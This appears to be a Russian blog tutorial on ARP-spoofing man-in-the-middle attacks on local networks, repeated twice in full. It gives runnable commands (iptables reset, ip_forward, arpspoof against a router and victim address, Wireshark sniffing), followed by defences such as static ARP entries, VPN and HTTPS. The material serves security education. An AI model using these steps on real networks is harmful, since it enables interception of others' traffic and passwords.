Всем привет! Сегодня расскажу о том, почему файерволл не работает в локальной сети и почему нужно обязательно использовать шифрование траффика при передаче его в сеть.
Все дело в том, что фаерволл работает на 3-м уровне модели ОСИ, сетевом (подробно почитать можно в гуголе). Фаерволл фильтрует IP-пакеты и вы можете настроить какие-угодно правила, чтобы обезопасить себя от «случайного» вторжения извне в вашу систему. Но фаерволл бессилен против атак 2-го, канального уровня. Так вот с помощью ARP-запросов можно легко перехватить траффик, не прибегая к использованию прослушивания трафика специализированными устройствами (типа СОРМ).
Внимание!!! Статья написана исключительно для ознакомления с вопросами сетевой безопасности и анонимности и ни коим образом не подстрекает читателей к конкретным противоправным действиям. Статья рассматривает возможности перехвата открытого трафика и дает рекомендации по обеспечению вашей анонимности в сети Интернет.
Трафик в локальной легко перехватывается с помощью технологии MITM. Ее суть в том, что роутеру и вашей машине в качестве мак-адресов друг друга ARP-пакетом отправляет мак-адрес взломщика. MAC-адрес сохраняется в ARP-кэшах роутера и вашей машины, и теперь роутер и ваша машина больше не опрашивают друг друга, а напрямую посылают пакеты через машину взломщика (не по IP, а по MAC-адресу!!!!). Машина взломщика настраивается в режим ip_forward (ядро операционки начинает пропускать пакеты через сетевую карту), включается сниффер и весь ваш трафик в руках человека, который скомпрометировал вашу анонимность в два счета. Чтобы роутер и ваша машина не обновили ARP кэш самостоятельно, машина редиски (нехороший человек) продолжает в течение маленьких промежутков времени отправлять ARP-спам
А теперь чуть-чуть практики.
1. Настройка фаерволла.
Сбрасываем настройки фаерволла
$ sudo iptables -F
$ sudo iptables -X
$ sudo iptables -t nat -F
$ sudo iptables -t nat -X
$ sudo iptables -t mangle -F
$ sudo iptables -t mangle -X
Запрещаем входящие пакеты.
$ sudo iptables -P INPUT DROP
Разрешаем форвардинг (ядро будет пропускать проходящие пакеты будто сквозь роутер или свич).
$ sudo iptables -P FORWARD ACCEPT
Разрешаем исходящие пакеты
$ sudo iptables -P OUTPUT ACCEPT
Исходящие пакеты можно запретить после того, как начнется будет произведено подключение.
2. Настройка форвардинга
Разрешаем пакетам проходить через машину.
sudo sysctl -w net.ipv4.ip_forward=1
3. MITM-атака!
Вклиниваемся между роутером и машиной.
$ sudo arpspoof -i wlan0 -r -t 192.168.1.1 192.168.1.223
4. Включаем сниффер.
$ sudo wireshark
Wireshark имеет графический интерфейс и огромное количество инструментов для прослушивания, анализа и фильтрации трафика.
5. Слушаем трафик.
К сожалению для слушателя, и к счастью для анонима, зашифрованный траффик по https протоколу взломщик прочитать не сможет (точнее расшифровать), но существуют способы подмены SSL-сертификата, и прослушивания даже https!!!
А вот http трафик побежит полностью открытым … включая переписку, пароли, и все то, чем вы занимаетесь в интернете.
6. Защита от ARP-атак.
1) на уровне сети. Владелец локальной сети обеспечивает защиту с помощью специального программного обеспечения на роутере. ARP-атаки распознаются и сетевое соединение блокируется. ARP-кэш восстанавливается.
Честно говоря, если вы сидите в общественной вай-фай сети или у себя дома через роутер провайдера , просить об это сисадмина кафе или провайдера как бы неуместно))
2) на уровне хоста. Добавить статическую запись в ARP-кэш
arp -s 192.168.1.1 XX:XX:XX:XX:XX:XX
3) на уровне VPN. Трафик шифруется и тот, кто слушает ваш трафик не может его расшифровать, а куда этот трафик ходит — может.
4) на уровне https. Ходите только на https-сайты. В этом случае ваш трафик не смогут прочитать в случае перехвата (хотя это обходится подменой сертификата).
Итог. Идеальное решение защиты от ARP-атак - статическая запись в ARP-кэше + VPN-шифрование трафика.
А вот от прослушивания в режиме «Бридж» (у некоторых снифферов есть такой режим, можно обойтись и без MITM-атаки, встав в разрыв сети двумя интерфейсами) статическая запись в ARP-кэше не спасет. В этом случае шифрование, шифрование и еще раз шифрование.
Все дело в том, что фаерволл работает на 3-м уровне модели ОСИ, сетевом (подробно почитать можно в гуголе). Фаерволл фильтрует IP-пакеты и вы можете настроить какие-угодно правила, чтобы обезопасить себя от «случайного» вторжения извне в вашу систему. Но фаерволл бессилен против атак 2-го, канального уровня. Так вот с помощью ARP-запросов можно легко перехватить траффик, не прибегая к использованию прослушивания трафика специализированными устройствами (типа СОРМ).
Внимание!!! Статья написана исключительно для ознакомления с вопросами сетевой безопасности и анонимности и ни коим образом не подстрекает читателей к конкретным противоправным действиям. Статья рассматривает возможности перехвата открытого трафика и дает рекомендации по обеспечению вашей анонимности в сети Интернет.
Трафик в локальной легко перехватывается с помощью технологии MITM. Ее суть в том, что роутеру и вашей машине в качестве мак-адресов друг друга ARP-пакетом отправляет мак-адрес взломщика. MAC-адрес сохраняется в ARP-кэшах роутера и вашей машины, и теперь роутер и ваша машина больше не опрашивают друг друга, а напрямую посылают пакеты через машину взломщика (не по IP, а по MAC-адресу!!!!). Машина взломщика настраивается в режим ip_forward (ядро операционки начинает пропускать пакеты через сетевую карту), включается сниффер и весь ваш трафик в руках человека, который скомпрометировал вашу анонимность в два счета. Чтобы роутер и ваша машина не обновили ARP кэш самостоятельно, машина редиски (нехороший человек) продолжает в течение маленьких промежутков времени отправлять ARP-спам
А теперь чуть-чуть практики.
1. Настройка фаерволла.
Сбрасываем настройки фаерволла
$ sudo iptables -F
$ sudo iptables -X
$ sudo iptables -t nat -F
$ sudo iptables -t nat -X
$ sudo iptables -t mangle -F
$ sudo iptables -t mangle -X
Запрещаем входящие пакеты.
$ sudo iptables -P INPUT DROP
Разрешаем форвардинг (ядро будет пропускать проходящие пакеты будто сквозь роутер или свич).
$ sudo iptables -P FORWARD ACCEPT
Разрешаем исходящие пакеты
$ sudo iptables -P OUTPUT ACCEPT
Исходящие пакеты можно запретить после того, как начнется будет произведено подключение.
2. Настройка форвардинга
Разрешаем пакетам проходить через машину.
sudo sysctl -w net.ipv4.ip_forward=1
3. MITM-атака!
Вклиниваемся между роутером и машиной.
$ sudo arpspoof -i wlan0 -r -t 192.168.1.1 192.168.1.223
4. Включаем сниффер.
$ sudo wireshark
Wireshark имеет графический интерфейс и огромное количество инструментов для прослушивания, анализа и фильтрации трафика.
5. Слушаем трафик.
К сожалению для слушателя, и к счастью для анонима, зашифрованный траффик по https протоколу взломщик прочитать не сможет (точнее расшифровать), но существуют способы подмены SSL-сертификата, и прослушивания даже https!!!
А вот http трафик побежит полностью открытым … включая переписку, пароли, и все то, чем вы занимаетесь в интернете.
6. Защита от ARP-атак.
1) на уровне сети. Владелец локальной сети обеспечивает защиту с помощью специального программного обеспечения на роутере. ARP-атаки распознаются и сетевое соединение блокируется. ARP-кэш восстанавливается.
Честно говоря, если вы сидите в общественной вай-фай сети или у себя дома через роутер провайдера , просить об это сисадмина кафе или провайдера как бы неуместно))
2) на уровне хоста. Добавить статическую запись в ARP-кэш
arp -s 192.168.1.1 XX:XX:XX:XX:XX:XX
3) на уровне VPN. Трафик шифруется и тот, кто слушает ваш трафик не может его расшифровать, а куда этот трафик ходит — может.
4) на уровне https. Ходите только на https-сайты. В этом случае ваш трафик не смогут прочитать в случае перехвата (хотя это обходится подменой сертификата).
Итог. Идеальное решение защиты от ARP-атак - статическая запись в ARP-кэше + VPN-шифрование трафика.
А вот от прослушивания в режиме «Бридж» (у некоторых снифферов есть такой режим, можно обойтись и без MITM-атаки, встав в разрыв сети двумя интерфейсами) статическая запись в ARP-кэше не спасет. В этом случае шифрование, шифрование и еще раз шифрование.